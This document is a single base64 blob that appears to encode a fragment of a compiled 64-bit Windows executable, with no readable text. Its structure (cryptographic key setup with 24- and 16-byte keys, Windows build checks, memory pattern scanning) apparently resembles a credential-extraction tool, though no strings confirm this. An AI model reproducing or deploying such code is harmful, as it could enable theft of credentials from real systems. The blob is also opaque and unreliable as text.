ABIjRWKGQQASI1NuESNZwFIiV3IZolduEWLxEiJfdDootr+/0iNFdMLBABIjU3gRTPASIl9+EiJXfBmiV3g6IPa/v9IjUwkIEkD9OhWeQEATI1FuEiNVeBIjU0wTIvI6KL8//9Ii85Ii9DoRyAAAEiNTTDoEgwAAESNRxVIjRUnGQQASI1N4EiJffhIiV3wZold4Ogu2v7/RI13/0iNFUcZBABIjU24RYvGSIl90EiJXchmiV246Ava/v9IjUwkIOj1LQAATI1F4EiNVbhIjU0wTIvI6C38//9Ii85Ii9Do0h8AAEiNTTDonQsAAESNRyhIjRVCTAQASI1N4EiJXCQgSIlcJChIiVwkMEiJffhIiV3wZold4Oiq2f7/RI1H+0iNFXNMBABIjU24SIl90EiJXchmiV246IrZ/v9MjU3gTI1FuEiNFeulAABIjY0QAQAA6L8sAABIjUwkIEiL0OiWWwAATDmlWAEAAHIMSIuNQAEAAOjh+wEASIm9WAEAAEiJnVABAABmiZ1AAQAATDmlMAEAAHIMSIuNGAEAAOi3+wEASI0VAEwEAEiNTQhBuDMAAABIib0wAQAASImdKAEAAGaJnRgBAABIiX0gSIldGGaJXQjo7Nj+/0G9BAAAAEiNFStMBABIjU2QRYvFSIl9qEiJXaBmiV2Q6MfY/v9MjU0ITI1FkEiNFdSmAABIjU0w6P8rAABIjUwkIEiL0OjWWgAATDlleHIJSItNYOgn+wEASIl9eEiJXXBmiV1gTDllUHIJSItNOOgM+wEASI0VpRcEAEiNTCRoTYvFSIl9UEiJXUhmiV04SIl9gEiJXCR4ZolcJGjoStj+/0iNFYcXBABIjUwkQE2LxUiJfCRYSIlcJFBmiVwkQOgn2P7/TI1MJCBMjUQkaEiNVCRASI2NoAAAAOhM+v//SIvOSIvQ6PEdAABIjY2gAAAA6LkJAABIjRUqiQQASI1MJEBBuB0AAABIiVwkIEiJXCQoSIlcJDBIiXwkWEiJXCRQZolcJEDowNf+/0iNFb0oBABIjUwkaE2LxUiJfYBIiVwkeGaJXCRo6J7X/v9MjUwkQEyNRCRoSI0VnXwBAEiNTTDo1CoAAEiNTCQgSIvQ6KtZAABMOWV4cglIi01g6Pz5AQBIiX14SIldcGaJXWBMOWVQcglIi0046OH5AQBIjRXKiAQASI1NkEG4IwAAAEiJfVBIiV1IZoldOEiJfahIiV2gZoldkOgf1/7/SI0V5IgEAEiNTQhNi8RIiX0gSIldGGaJXQjoANf+/0yNTZBMjUUISI0VgX0BAEiNjRABAADoNSoAAEiNTCQgSIvQ6AxZAABMOaVYAQAAcgxIi41AAQAA6Ff5AQBIib1YAQAASImdUAEAAGaJnUABAABMOaUwAQAAcgxIi40YAQAA6C35AQBIjRXmFQQASI1N4EG4DwAAAEiJvTABAABIiZ0oAQAAZomdGAEAAEiJffhIiV3wZold4Ohi1v7/SI0VzxUEAEiNTbhNi8ZIiX3QSIldyGaJXbjoQ9b+/0yNTCQgTI1F4EiNVbhIjY2gAAAA6Gr4//9Ii85Ii9DoDxwAAEiNjaAAAADo1wcAAEiNFZAVBABIjUwkQEG4GgAAAEiJfCRYSIlcJFBmiVwkQOjt1f7/SI0VohUEAEiNTCRoTIvHSIl9gEiJXCR4ZolcJGjoy9X+/0iNTCQg6DXeAABMjUQkQEiNVCRoSI2NoAAAAEyLyOjo9///SIvOSIvQ6I0bAABIjY2gAAAA6FUHAABBvRgAAABIjRVQFQQASI1MJEBFi8VIiXwkWEiJXCRQZolcJEDoaNX+/0iNFWUVBABIjUwkaE2LxkiJfYBIiVwkeGaJXCRo6EbV/v9IjUwkIOhAlAEATI1EJEBIjVQkaEiNjaAAAABMi8joY/f//0iLzkiL0OgIGwAASI2NoAAAAOjQBgAASIl8JFhFjUUBSI0VEBUEAEiNTCRASIlcJFBmiVwkQOjo1P7/SI0VLRUEAEiNTCRoTIvHSIl9gEiJXCR4ZolcJGjoxtT+/0iNTCQg6ORmAQBMjUQkQEiNVCRoSI2NoAAAAEyLyOjj9v//SIvOSIvQ6IgaAABIjY2gAAAA6FAGAABFjUUDSI0V3RQEAEiNTCRASIl8JFhIiVwkUGaJXCRA6GjU/v9FjUXxSI0V8RQEAEiNTCRoSIl9gEiJXCR4ZolcJGjoRdT+/0iNTCQg6JvNAABMjUQkQEiNVCRoSI2NoAAAAEyLyOhi9v//SIvOSIvQ6AcaAABIjY2gAAAA6M8FAABIjRWwFAQASI1MJEBFi8VIiXwkWEiJXCRQZolcJEDo6NP+/0iNFcUUBABIjUwkaE2LxkiJfYBIiVwkeGaJXCRo6MbT/v9IjUwkIOh0hgAATI1EJEBIjVQkaEiNjaAAAABMi8jo4/X//0iLzkiL0OiIGQAASI2NoAAAAOhQBQAASIlcJCBIiVwkKEiJXCQwSIl8JFhFjUX0SI0VmW8EAEiNTCRASIlcJFBmiVwkQOhZ0/7/SI0Vnm8EAEiNTCRoTYvGSIl9gEiJXCR4ZolcJGjoN9P+/0yNTCRATI1EJGhIjRWuRQEASI1NMOhtJgAASI1MJCBIi9DoRFUAAEw5ZXhyCUiLTWDolfUBAEiJfXhIiV1wZoldYEw5ZVByCUiLTTjoevUBAEiNFdMTBABIjU2QQbgbAAAASIl9UEiJXUhmiV04SIl9qEiJXaBmiV2Q6LjS/v9IjRXdEwQASI1NCEG4CwAAAEiJfSBIiV0YZoldCOiW0v7/TI1MJCBMjUWQSI1VCEiNjaAAAADovfT//0iLzkiL0OhiGAAASI2NoAAAAOgqBAAASI0VoxMEAEiNTCRATYvFSIl8JFhIiVwkUGaJXCRA6EPS/v9IjRW4EwQASI1MJGhMi8dIiX2ASIlcJHhmiVwkaOgh0v7/SI1MJCDoL58BAEyNRCRASI1UJGhIjY2gAAAATIvI6D70//9Ii85Ii9Do4xcAAEiNjaAAAADoqwMAAEiNFXRMBABIjUwkQEG4MQAAAEiJXCQgSIlcJChIiVwkMEiJfCRYSIlcJFBmiVwkQOiy0f7/SI0VNzQEAEiNTCRoQbgFAAAASIl9gEiJXCR4ZolcJGjojdH+/0yNTCRATI1EJGhIjRVYrAAASI1NMOjDJAAASI1MJCBIi9DomlMAAEiNTTDowej//0iJfahIjRXeEgQASI1NkEG4GgAAAEiJXaBmiV2Q6DvR/v9IjRX4EgQASI1NCOi7xf7/TI1MJCBMjUWQSI2NoAAAAEiL0OhT8///SIvOSIvQ6PgWAABIjY2gAAAA6MACAABIjUwkIOjGtQAASI0VxxIEAEiNTCRASIv46G7F/v9IjRXrEgQASI1MJGhIi9joWsX+/0iNjaAAAABMi89Ii9BMi8Po9fL//0iLzkiL0OiaFgAASI2NoAAAAOhiAgAASI1MJCDomPcAAEiNFbESBABIjUwkQEiL+OgQxf7/SI0VtRIEAEiNTCRoSIvY6PzE/v9IjY2gAAAATIvPSIvQTIvD6Jfy//9Ii85Ii9DoPBYAAEiNjaAAAADoBAIAAEiNTCQg6NafAABIjRV7EgQASI1MJEBIi/jossT+/0iNFZcSBABIjUwkaEiL2OiexP7/SI2NoAAAAEyLz0iL0EyLw+g58v//SIvOSIvQ6N4VAABIjY2gAAAA6KYBAABIjUwkIOhEdwEASI0VXRIEAEiNTCRASIv46FTE/v9IjRVpEgQASI1MJGhIi9joQMT+/0iNjaAAAABMi89Mi8NIi9Do2/H//0iLzkiL0OiAFQAASI2NoAAAAOhIAQAASI1MJCDo9lQAAEiNFScSBABIjUwkQEiL+Oj2w/7/SI0VwxIEAEiNTCRoSIvY6OLD/v9IjY2gAAAATIvPSIvQTIvD6H3x//9Ii85Ii9DoIhUAAEiNjaAAAADo6gAAAEiNTCQg6HhCAQBIjRWJEgQASI1MJEBIi/jomMP+/0iNFdUSBABIjUwkaEiL2OiEw/7/SI2NoAAAAEyLz0iL0EyLw+gf8f//SIvOSIvQ6MQUAABIjY2gAAAA6IwAAABIjUwkIOieaQAASI0VoxIEAEiNTCRASIv46DrD/v9IjRW3EgQASI1MJGhIi9joJsP+/0iNjaAAAABMi89Ii9BMi8PowfD//0iLzkiL0OhmFAAASI2NoAAAAOguAAAAsAFIi41wAQAASDPM6H3qAQBMjZwkgAIAAEmLWzhJi3NASYvjQV5BXUFcX13DzEiJXCQISIlsJBBIiXQkGFdIg+wgSIt5UDPtSIvZSIX/dCBIi3FY6wxIi8/ocOX//0iDx1hIO/5170iLS1DojvABAEiJa1BIiWtYSIlrYEiDe0AIcglIi0so6HLwAQBIiWs4vwcAAABIiXtAZolrKEiDexgIcghIiwvoUvABAEiLdCRASIlrEEiJexhmiStIi1wkMEiLbCQ4SIPEIF/DzMxIiVwkGFVWV0FUQVVIg+xQSIsFcTMFAEgzxEiJRCRIRTPkSI0FxxYEAEiL6kiJAUyJYQhMiWEQTIlhGEiL8UyJYSjodfD//0iNDWoRBAD/FWytAwBIiw3NTAUASI0VVhEEAEGNXCQg6Bz5/v9IjRX9EQQASIvI6A35/v9IjRXeEQQASIvI6KYT//8Pt9NIi8joD5b//0iNFbQRBABIi8jojBP//0iNFZURBABIi8jo1fj+/0iLyEiL2OhaSf//SIvL6L6+/v9IjRUjEQQASIvL6LP4/v9Ii8hIi9joOEn//0iLy+icvv7/QLcBRY1sJAdIhe0PhN8AAABIi10ASDtdCA+EyAAAAEiNTCQgSYPJ/0UzwEiL00yJbCQ4TIlkJDBmRIlkJCDoWcv+/0iLPfZLBQBIi8/o3kj//0iLz+hCvv7/SI0VhxEEAEiLz+g3+P7/SI0VUBEEAEiLyOgo+P7/SIvISIXAdQVJi8TrCkiLAEhjQARIA8GBYBj/8///D7poGAlIjVQkIOjTSf//SIvISIv46IBI//9Ii8/o5L3+/0iNVCQgSIvO6GcDAABIg3wkOAhAivhyCkiLTCQg6G7uAQBIg8MoQIT/D4Uu////QIT/D4ThAAAAuSgAAADoRu8BAEiL+EiFwHQOTIloGEyJYBBmRIkg6wNJi/xIjS1uKgUASIsdH0sFAEiLy+gHSP//SIvL6Gu9/v9IjRWwEAQASIvL6GD3/v9IjRW5EAQASIvI6FH3/v9Mi9hIhcB1BUmLxOsKSIsASGNABEkDw4FgGP/z//8PumgYCUiLBQ8qBQBIY0gEsgpIA83oue3+/0iL10iLzUQPt8Dojjz//0iL10iLzuiLAgAAhMAPhXH///9Ihf90I0iDfxgIcghIiw/oi+0BAEyJbxhMiWcQSIvPZkSJJ+h37QEASI0NQCkFAOi/vP7/SIvGSItMJEhIM8zo6+YBAEiLnCSQAAAASIPEUEFdQVxfXl3DzMzMSIlcJAhXSIPsIIvaSIv56BwAAAD2wwF0CEiLz+gj7QEASIvHSItcJDBIg8QgX8PMSIlcJAhIiWwkEEiJdCQYV0iD7CBIjQW5EwQASIv5M+1IiQFIiw3iZgUASIXJdAb/FT+pAwBIix14aAUASIsFeWgFAOtESItzGEg5LnQ3SIs2SIX2dC9Ig34oCHIJSItOEOiu7AEASMdGKAcAAABIiW4gSIvOZoluEOiW7AEASIsFN2gFAEiDwyBIO9h1t4M9M2UFAAZzP0iLBXZmBQBIhcB0DUiLCEiFyXQF6FzsAQBIiwVlZgUASIXAD4TEAAAASIsISIXJD4S4AAAA6DvsAQDprgAAAEiLDUdmBQBIhckPhJ4AAABIjRXXFAQA/xWZqAMASIsNKmYFAEiNFdsUBABIi9j/FYKoAwBIiw0zZgUASIvwSIXJdAVIiwn/00iLDRdmBQBIhcl0BUiLCf/TSIsNHmYFAEiFyXQHSIsJM9L/1kiLDQNmBQBIhcl0B0iLCTPS/9ZIiw3YZQUASIXJdAXopusBAEiLDb9lBQBIhcl0BeiV6wEASIsNpmUFAP8V8KcDAEiLDeFlBQBIhcl0Bv8V1qcDAEiLDcdlBQBIhcl0Bv8VzKcDAOhPowAASItfCEiF23QgSIt3EOsMSIvL6ID6//9Ig8NwSDvede9Ii08I6D7rAQBIi1wkMEiLdCRASIlvCEiJbxBIiW8YSItsJDhIg8QgX8PMSIlcJBhVV0FUQVVBVkiNbCTASIHsQAEAAEiLBVQuBQBIM8RIiUUwRTP2SIvaTIvhTDlyEEAPlMdAhP8PhRUCAABIg3oYCHIFSIsC6wNIi8IPtwCD+CEPhLgBAACD+CoPhHMBAACD+EAPhGoBAABIjU2QvwcAAABJg8n/RTPATIl1oGZEiXWQSIl9qOjgxv7/jUcZRI1H+kiNVCQgSI1NkGaJRCQgTIl0JChMiXQkMEyJdCQ46D8OAABMi+hIg/j/D4TjAAAASI1VkEiNTCRoTIvIRTPASIl9gEyJdCR4ZkSJdCRo6IfG/v9IjVQkaEiNTZDo/df+/0iDfYAIcgpIi0wkaOgU6gEATY1FAUiNTbhJg8n/SIvTSIl9gEyJdCR4ZkSJdCRoSIl90EyJdchmRIl1uOg4xv7/SI1VuEiNTCRI6C4v//9Ii9hIjUQkKEg7w3QvSI1MJCjoUzT//0yLG0yJXCQoSItDCEiJRCQwSItDEEiJRCQ4TIkzTIlzCEyJcxBIjUwkSOgkNP//SIN90AhyCUiLTbjogOkBAEiJfdBMiXXIZkSJdbhMjUQkKEiNVZBJi8zoxgAAAEiNTCQoQIr46Okz//9Ig32oCA+ChAAAAEiLTZDreb8HAAAASI1N4EmDyf9EjUf6TIl18GZEiXXgSIl9+Oh1xf7/SI1N4OgECQAASIN9+AhAivhySEiLTeDrPb8HAAAASI1NCEmDyf9EjUf6TIl1GGZEiXUISIl9IOg5xf7/SI1VCEmLzOi9BgAASIN9IAhAivhyCUiLTQjoxugBAECKx0iLTTBIM8zoR+IBAEiLnCSAAQAASIHEQAEAAEFeQV1BXF9dw8zMzEiJXCQgVVZXQVRBVUFWQVdIjWwk2UiB7LAAAABIiwXRKwUASDPESIlFH0iL2kmL8EyL4UG+AgAAAEiNFRwLBABIi8tFi8boLQwAAEUz/0WNbgVIjRXn9gMASI1Nz0UzwEiL+EyJbedMiX3fZkSJfc/ok8X+/0iNTadJg8n/RTPASIvTTIltv0yJfbdmRIl9p+hbxP7/SYPK/0k7+g+EiwAAAEiNTfdMi89FM8BIi9NMiW0PTIl9B2ZEiX336C/E/v9IjVX3SI1Nz+im1f7/SIN9DwhyCUiLTffovucBAEyNRwJIjU33SYPJ/0iL00yJbQ9MiX0HZkSJfffo8cP+/0iNVfdIjU2n6GjV/v9Ig30PCHIJSItN9+iA5wEATIltD0yJfQdmRIl990mDyv9Ji1wkCEk7XCQQdHpIi33fSIN7GAhMi0sQcgVIiwvrA0iLy0iDfecISI1Vz02LwUgPQ1XPSTv5TA9Cx02FwHQXD7cBZjkCD4XsAAAASQPWSQPOSf/IdelBi8dIY8hJO/lBi8cPlcBJO/lBD0LCSIXJD0XBhcAPhMkAAABIg8NwSTtcJBB1ikiLDdpDBQBIjRUrCgQA6C7w/v9IjVXPSIvI6PpB//9IjRWLCQQASIvI6BPw/v9Ii8hIi9jomED//0iLy+j8tf7/SIvL6IhA//9Ii8vo7LX+/0iNFTEKBABIi8vo4e/+/0iLyEiL2OhmQP//SIvL6Mq1/v9Ji1wkCEk7XCQQD4TTAgAAQb4gAAAASI1Nl7oMAAAA6BLDAQBIizVDQwUATIvYSIX2D4VGAgAASYvP6UgCAAAbwIPg/v/A6Rb///9Ii0NQSDtDWHR4TItdt0mDzP9Ig3ggCEyLUBhyBkiLUAjrBEiNUAhIg32/CEyNRadNi8pMD0NFp0072k0PQstNhcl0FA+3CmZBOQh1Sk0DxkkD1kn/yXXsQYvPSGPRTTvaQYvPD5XBTTvaQQ9CzEiF0g9FyoXJdChIg8BYSDtDWHWQSIsNmkIFAEiF/3VNSI0VfggEAOtmG8mD4f7/weu7SIvO/xBIg32/CIrYcglIi02n6HTlAQBIg33nCEyJbb9MiX23ZkSJfadyCUiLTc/oV+UBAIrD6ewBAABIjRWZCAQA6Jzu/v9IjVXPSIvI6GhA//9IjRVBCAQASIvI6IHu/v9IjVWnSIvI6E1A//9IjRXeBwQASIvI6Gbu/v9Ii8hIi/jo6z7//0iLz+hPtP7/SIs17EEFAEiLzujUPv//SIvO6Di0/v9IjRVFCAQASIvO6C3u/v9IjVMoSIvI6Pk///9Ii8hIi/jopj7//0iLz+gKtP7/SIt7UEg7e1gPhBUBAABMjWcIQb4gAAAASYN8JBgIcgZJiwQk6wNJi8Rmgzg6dHpIjU2XugwAAADoOcEBAEiLNWpBBQBMi9hIhfZ1BUmLz+sKSIsGSGNIBEgDzkmLUwhB/xNMix5Ji9RJY0MESIvOZkSJdDBY6Gw///9IjRXlCgQASIvI6IXt/v9JjVQkKEiLyOhQP///SIvISIvw6P09//9Ii87oYbP+/0iDx1hJg8RYSDt7WA+FXf///+tmSIsGSGNIBEgDzkmLUwhB/xNMix5Ii9NJY0MESIvOZkSJdDBY6AA///9IjRV5CgQASIvI6Bnt/v9IjVMoSIvI6OU+//9Ii8hIi/jokj3//0iLz+j2sv7/SIPDcEk7XCQQD4Uz/f//SIN9vwhyCUiLTafog+MBAEiDfecIZkSJfadMiX23TIltv3IJSItNz+hm4wEAsAFIi00fSDPM6OjcAQBIi5wkCAEAAEiBxLAAAABBX0FeQV1BXF9eXcPMSIlcJBBXSIPscEiLBYMmBQBIM8RIiUQkaDP/SIvZSDl5KHQPSIN5KP90CEC3AenPAAAASIsN+j8FAEiNFcsGBADoTuz+/0iJfCQwSI0N+gYEAEUzyUUzwLoAAADAiXwkKMdEJCADAAAA/xUNnwMASIlDKEiFwHQeSIP4/3QYSIsNrz8FAEiNFVj6AwBAtwHoAOz+/+tVSI1MJEBFM8CyAeiff///SIsNiD8FAEiNFbkGBABIi9jo2ev+/0iL00iLyOimPf//SIN8JFgIcgpIi0wkQOhk4gEASMdEJFgHAAAASIl8JFBmiXwkQEiLHUI/BQBIi8voKjz//0iLy+iOsf7/QIrHSItMJGhIM8zoutsBAEiLnCSIAAAASIPEcF/DSIlcJBhIiXQkIFdIg+xwSIsFXiUFAEgzxEiJRCRgSIN6EABIi9pIi/kPhHIBAADorP7//4TAD4RQAQAASIN7GAhIi0MQcgNIixtIi08oSINkJCAARI1EAAJMjUwkNEiL0/8V7Z0DAIXAD4TGAAAAg2QkMAC7AAAEAIvL6NC3AQBEi8Mz0kiLyEiL8OhcQAIASItPKEiDZCQgAEyNTCQwRIvDSIvW/xVZngMAhcB0JEiNDTYdBQBIi9botur+/0iLyEiL2Og7O///SIvL6J+w/v/rVUiNTCQ4RTPAsgHoQn7//0iLDSs+BQBIjRV8BQQASIvY6Hzq/v9Ii9NIi8joSTz//0iLyEiL2Oj2Ov//SIvL6Fqw/v9Ig3wkUAhyCkiLTCQ46PTgAQBIi87o5OABAOmwAAAASI1MJDhFM8CyAejgff//SIsNyT0FAEiNFTIFBABIi9joGur+/0iL00iLyOjnO///SIvISIvY6JQ6//9Ii8vo+K/+/0iDfCRQCHJlSItMJDjokuABAOtZSIsNgT0FAEiNFRIFBADo1en+/+tESIsNbD0FAEiNFW0FBADowOn+/0iLyEiL2OhFOv//SIvL6Kmv/v9Ii08oSIXJdBVIg/n/dA//FZicAwCFwHQFSINnKACwAUiLTCRgSDPM6LjZAQBMjVwkcEmLWyBJi3MoSYvjX8PMzEiJXCQQSIl0JBhVV0FUSI1sJLlIgeyQAAAASIsFSyMFAEgzxEiJRT9Iix0tWgUARTPkQYr8SIXbD4THAQAASItREEiF0g+EsQEAAEiLQwhIhcAPhNgBAABIg/j/D4TOAQAASIN5GAiNNBJyA0iLCUiL0UyNTedEi8ZIi8hMiWQkIP8VxZsDAIXAD4QZAQAAO3XnD4UQAQAASItLCP8VupsDAIXAD5XAhMAPhPkAAABIjRUC7gMASI1NF7sHAAAARTPATIllJ2ZEiWUXSIldL+isvP7/SI1NF+hXPv//SI1N70CK+ITAdGFJg8n/SI1VF0iJXQdFjUECTIll/2ZEiWXv6GK7/v9Iiw3/OwUASI1V7+guOv//SIN9BwhyCUiLTe/o7t4BAEiDfS8ISI1FF0iJXQdID0NFF0yJZf9mRIll72aDOCN0jetORTPAsgHoyXv//0iLDbI7BQBIjRUDBAQASIvY6APo/v9Ii9NIi8jo0Dn//0iLyEiL2Oh9OP//SIvL6OGt/v9Ig30HCHIJSItN7+h93gEASIN9LwgPgokAAABIi00X601IjU3vRTPAsgHoZnv//0iLDU87BQBIjRXwAwQASIvY6KDn/v9Ii9NIi8jobTn//0iLyEiL2OgaOP//SIvL6H6t/v9Ig30HCHI/SItN7+ga3gEA6y9IjRUBBAQA6wdIjRVYBAQASIsN+ToFAOhU5/7/SIvISIvY6Nk3//9Ii8voPa3+/0CE/3UF6MeVAACwAUiLTT9IM8zoYdcBAEyNnCSQAAAASYtbKEmLczBJi+NBXF9dw8xIiUwkCFdIg+xASMdEJCD+////SIlcJFhIiXQkYEiL8kiL+UiDIQBIg2EIAEiDYRAATItCCEwrAki4o4suuuiiiy5J9+hIi9pIwfsESIvDSMHoP0gD2EjHAQAAAABIx0EIAAAAAEjHQRAAAAAAD4SLAAAASLi66KKLLrroAkg72HYNSI0Nd94DAOg2sQEAzDPASIXbdENIi8tIa8lY6A7eAQBIhcB1MkghRCRQSI1UJFBIjUwkKOi11wEATI0dFp8DAEyJXCQoSI0VkvUEAEiNTCQo6LgRAgDMSIkHSIlHCEhr21hIA9hIiV8QTIsHSItWCEiLDuj2AwAASIlHCEiLx0iLXCRYSIt0JGBIg8RAX8PMzMxIiVwkCFdIg+wgSIvZSItJCEiL+kg70XM9SDkTdzhIKztIuCVJkiRJkiRJSPfvSIv6SMH/BUiLx0jB6D9IA/hIO0sQdQhIi8voHwEAAEhr/3BIAzvrDkg7SxB1CEiLy+gIAQAASItLCEiL1+jwAgAASINDCHBIi1wkMEiDxCBfw0iJXCQISIl0JBBIiXwkGE2L0EiL8kyLyU2FwHUHM8DpuAAAAEyLQRBNhcAPhKcAAABNO9APh54AAAC4AQAAAEkrwkwDwEiDeRgIcgVIiznrA0iL+UmLwEiL102FwHQRD7cOZjkKdAtIg8ICSP/IdfIz0kiF0nRhSYvaSIvOTIvaTYXSdBYPtwFmQTkDdSxJg8MCSIPBAkj/y3XqM8CFwHQiSIPI/0iLykgrz0iNegJI0flIK8FMA8DrmhvAg+D+/8Dr2kmDeRgIcgNNiwlJK9FI0fpIi8LrBEiDyP9Ii1wkCEiLdCQQSIt8JBjDSIPsKEiLUQhJuiVJkiRJkiRJTIvJSCsRSYvCSPfqTIvCScH4BUmLwEjB6D9MA8BIuEiSJEmSJEkCTDvAdg1IjQ073AMA6PquAQDMSItJEEmLwkn/wEkrCUj36UjB+gVIi8JIweg/SAPQTDvCdi5Ii8pIuEmSJEmSJEkCSNHpSCvBSDvCcwQz0usDSAPRSTvQSYvJSQ9C0OgIAAAASIPEKMPMzMxBVEFVQVZIg+xASMdEJCD+////SIlcJGBIiXQkcEiJfCR4SIvaSIvxSLhJkiRJkiRJAkg70HYNSI0NntsDAOhdrgEAzEiLSRBIKw5JvSVJkiRJkiRJSYvFSPfpSMH6BUiLwkjB6D9IA9BIO9MPg8QAAAAz/0iJfCRoSIXbdEtIi8tIa8lw6ALbAQBIi/hIiUQkaEiFwHUySCFEJGhIjVQkaEiNTCQo6KHUAQBMjR0CnAMATIlcJChIjRV+8gQASI1MJCjopA4CAJBMi8dIi1YISIsO6MQBAACQTIt2CEyLJkmLzkkrzEmLxUj36UyL6knB/QVJi8VIweg/TAPoTYXkdBvrDEmLzOi46P//SYPEcE075nXvSIsO6HfZAQBIa9twSAPfSIleEE1r7XBMA+9MiW4ISIk+SItcJGBIi3QkcEiLfCR4SIPEQEFeQV1BXMNIhcl0dkiJXCQISIl8JBBBVEiD7CBFM+RIx0EYBwAAAEmDyf9MiWEQRTPASIv6ZkSJIUiL2ehetf7/SI1LKEiNVyhJg8n/SMdBGAcAAABMiWEQRTPAZkSJIeg6tf7/SI1XUEiNS1DoIfv//0iLXCQwSIt8JDhIg8QgQVzDSIvETIlAGEiJUBBIiUgIU1ZXSIPsMEjHRCQg/v///0mL2EiJXCRoM/ZIi3gISDt8JFgPhIsAAABIhdt0b0iLB0iJA0iNSwhIx0EYBwAAAEiJcRBIg3kYCHIFSIsB6wNIi8FmiTBIjVcISYPJ/0UzwOintP7/SI1LMEjHQRgHAAAASIlxEEiDeRgIcgVIiwHrA0iLwWaJMEiNVzBJg8n/RTPA6HW0/v9Ii3wkUEiDw1hIiVwkYEiDx1hIiXwkUOlq////SIvDSIPEMF9eW8PMzEyJRCQYU1ZXSIPsMEjHRCQg/v///0mL2EiL8kiL+UiJXCRoSDv+dB9Ii9dIi8vogf7//0iDw3BIiVwkYEiDx3BIiXwkUOvcSIvDSIPEMF9eW8PMzEyL3EmJWwhJiWsQSYlzGEmJeyBBVEiB7IAAAABIiwXZGgUASDPESIlEJHBJg0uo/4sVxjUFAEiLDbc1BQAz9k2NS7hMjQVCNAUARI1mAUgD0UmJc7hFiGOgScdDmAoAAACL/uiEGv//hMAPhIwBAABMi1QkQEhjDaBSBQCNXghKYwQRSAPBSo1UEARJY0LvTo1MEPNIYwWFUgUASmMMEEyJDf5QBQBIA8hIYwU0NQUATo1EEQRKYwwQQIgySYkxTIsNNlEFAEgDyEmJMEqNbBEETIkF1FAFAIl1AEiLBSJRBQBEi8NIiwhIKw0FNQUASAPK6JUY//9Miw3+UAUARI1GBITASIsF+VAFAEiL1UiLCEEPRfxIKw3YNAUASAPN6GgY//+EwHQDQQP8SIsF0lAFAEyLDcNQBQBIjVQkQEiLCEyLw0grDak0BQBIAw1SUAUA6DUY//+EwHQ0i00AQQP86HKsAQBIiw03UAUATIsNiFAFAEiJAUSLRQBIi0wkQEiL0OgEGP//hMB0A0ED/EiLBW5QBQBMiw1fUAUASI1UJEBIiwhMi8NIKw1FNAUASAMN9k8FAOjRF///hMAPhJMAAAC7kAAAAEED/IvL6AasAQBIiw3TTwUATIsNHFAFAEiJAUiLTCRARIvDSIvQ6JkX//+EwHRfQQP861pIjUwkSEUzwEGK1Oigcv//SIsNiTIFAEiNFVL8AwBIi9jo2t7+/0iL00iLyOinMP//SIvISIvY6FQv//9Ii8vouKT+/7sIAAAASDlcJGByCkiLTCRI6E7VAQCD/wYPlMBIi0wkcEgzzOjLzgEATI2cJIAAAABJi1sQSYtrGEmLcyBJi3soSYvjQVzDzEiLxEiJWAhIiXAQSIl4GEyJYCBVQVVBVkiNaKFIgeywAAAASIsFShgFAEgzxEiJRTcz/0g5PfJOBQB1FEiNDeH7AwD/FTuRAwBIiQXcTgUAgT1+TQUAQB8AAEG+AQAAAHM0RDk1a00FAEyNBWQxBQC4DQAAAEWNbhhzDUSLJeIyBQBBjV666ypEiyXRMgUAu8P////rHESLJcsyBQC7uv///0yNBUsxBQBEjWtduAwAAACLFbwyBQBIiw2tMgUASINMJDD/TI1N10gD0USIdCQoSIl914v3SIlEJCDogxf//4TAD4RXAgAATItV14E94UwFAEAfAABJY8xKYwQRG9JNY8VIA8FMY8v32k6NZBAES2MEEIPCBEkDwEhj0kqNRBAESIkFG04FAEtjBBFJA8FKjUQQBEiJBRBOBQBJi8BIK8JKY0wQ+UgrykkDyEqNRBH9SIkF+00FAEmLwUgrwkpjTBD5SCvKSQPJSDk9u00FAEqNRBH9SIkF300FAA+ElQEAAOhAAgAAhMAPhIgBAABIiwXlTQUATIsN1k0FAEG4EAAAAEiLCEmL1EgrDbsxBQBJA8zoSxX//0yLDbRNBQBIjVXXhMBIiwWvTQUAQbgIAAAASIsIQQ9F9kgrDYsxBQBIAw1cTQUA6BcV//+7IAAAAESNYxCEwHRvTIsNc00FAEiLTddIjVUPRIvD6PMU//+EwHRUTIsNWE0FAEiLTR9IjVXfRYvE6NgU//+EwHQ5RItF30iLBQlNBQBMiw0yTQUASIsIQYPA2EiLURBIi00fSYPA8EiDwShIg8Io6KIU//+EwHQDQQP2SIsFDE0FAEyLDf1MBQBIjVXXSIsIQbgIAAAASCsN4TAFAEgDDbpMBQDobRT//4TAD4T0AAAATIsNzkwFAEiLTddIjVUPTIvD6E4U//+EwA+E1QAAAEyLDa9MBQBIi00fSI1V302LxOgvFP//hMAPhLYAAABIiwVoTAUARItF30yLDYVMBQBIiwhBg8DYSItREEiLTR9Ig8EoSIPCKOj5E///hMAPhIAAAABBA/bre0iLDfUuBQBIjRUW+QMA6Enb/v9Ii8hIi9joziv//0iLy+gyof7/61NIjU0PRTPAQYrW6NVu//9Iiw2+LgUASI0VJ/kDAEiL2OgP2/7/SIvTSIvI6Nws//9Ii8hIi9joiSv//0iLy+jtoP7/SIN9JwhyCUiLTQ/oidEBAIP+Aw+UwEiLTTdIM8zoB8sBAEyNnCSwAAAASYtbIEmLcyhJi3swTYtjOEmL40FeQV1dw8zMQFNVVldBVEiD7EBIiw1SSwUASI0V4/gDADPb/xWrjQMASIsNPEsFAEiNFe34AwBMi+D/FZSNAwBIiw0lSwUASI0V7vgDAEiL+P8VfY0DAEiLDQ5LBQBIjRXv+AMASIvo/xVmjQMASIsNJ0sFAEiNFfj4AwBFM8lFM8BIi/BB/9SFwA+IeAEAAEiLDf1KBQBIjRXm+AMARTPJRTPAQf/UhcAPiFkBAABIiw3mSgUARI1jIEyNBcv4AwBIiwlIjRXh+AMARYvMiVwkIP/XhcAPiCwBAABIiw2xSgUATI0F4vgDAEiNFbv4AwBIiwlFi8yJXCQg/9eFwA+IAwEAAEiLDZBKBQBIjYQkgAAAAI17BEiLCUyNRCRwSI0VxvgDAESLz4lcJChIiUQkIP/VhcAPiMwAAABIiw1RSgUASI2EJIAAAABMjUQkeEiLCUiNFZL4AwBEi8+JXCQoSIlEJCD/1YXAD4iYAAAAi0wkcOgXpgEAi0wkeEiJBfhJBQDoB6YBAEiLDQxKBQBEi0wkcEyLBeBJBQBIixXpSQUASIsJSIkFx0kFAEiNBXhJBQCJXCQwx0QkKBgAAABIiUQkIP/WhcB4PUiLDcJJBQBEi0wkeEyLBZZJBQBIiwlIixWcSQUASI0FVUkFAIlcJDDHRCQoEAAAAEiJRCQg/9aFwHgCswGKw0iDxEBBXF9eXVvDzMzMQFNWV0FUQVVIg+wgSIkRSYv4SIvx